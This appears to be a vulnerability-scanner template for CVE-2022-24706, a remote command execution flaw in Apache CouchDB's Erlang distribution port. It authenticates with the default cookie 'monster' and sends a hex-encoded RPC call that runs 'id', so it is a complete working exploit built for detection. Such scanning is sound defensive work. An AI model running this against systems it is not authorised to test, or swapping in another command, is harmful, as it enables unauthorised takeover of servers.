61 lines
1.9 KiB
YAML
61 lines
1.9 KiB
YAML
id: CVE-2022-24706
|
|
|
|
info:
|
|
name: CouchDB Erlang Distribution - Remote Command Execution
|
|
author: Mzack9999,pussycat0x
|
|
severity: critical
|
|
description: |
|
|
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/50914
|
|
- https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit/blob/main/CVE-2022-24706-Exploit.py
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-24706
|
|
- http://www.openwall.com/lists/oss-security/2022/04/26/1
|
|
- http://www.openwall.com/lists/oss-security/2022/05/09/1
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-24706
|
|
cwe-id: CWE-1188
|
|
epss-score: 0.97407
|
|
cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
shodan-query: product:"CouchDB"
|
|
verified: "true"
|
|
vendor: apache
|
|
product: couchdb
|
|
tags: cve,cve2022,network,couch,rce,kev
|
|
|
|
variables:
|
|
name_msg: "00156e00050007499c4141414141414041414141414141"
|
|
challenge_reply: "00157201020304"
|
|
cookie: "monster"
|
|
cmd: "0000006670836804610667770e41414141414140414141414141410000000300000000007700770372657883680267770e41414141414140414141414141410000000300000000006805770463616c6c77026f737703636d646c000000016b000269646a770475736572"
|
|
|
|
tcp:
|
|
- host:
|
|
- "{{Hostname}}"
|
|
- "{{Host}}:9100"
|
|
inputs:
|
|
# auth
|
|
- data: "{{name_msg}}"
|
|
type: hex
|
|
read: 1024
|
|
- read: 1024
|
|
name: challenge
|
|
- data: "{{challenge_reply+md5(cookie + to_string(unpack('>I',substr(challenge, 9, 13))))}}"
|
|
type: hex
|
|
# rce
|
|
- data: "{{cmd}}"
|
|
type: hex
|
|
read: 1024
|
|
matchers:
|
|
- type: word
|
|
part: raw
|
|
words:
|
|
- "uid"
|
|
- "gid"
|
|
- "groups"
|
|
condition: and
|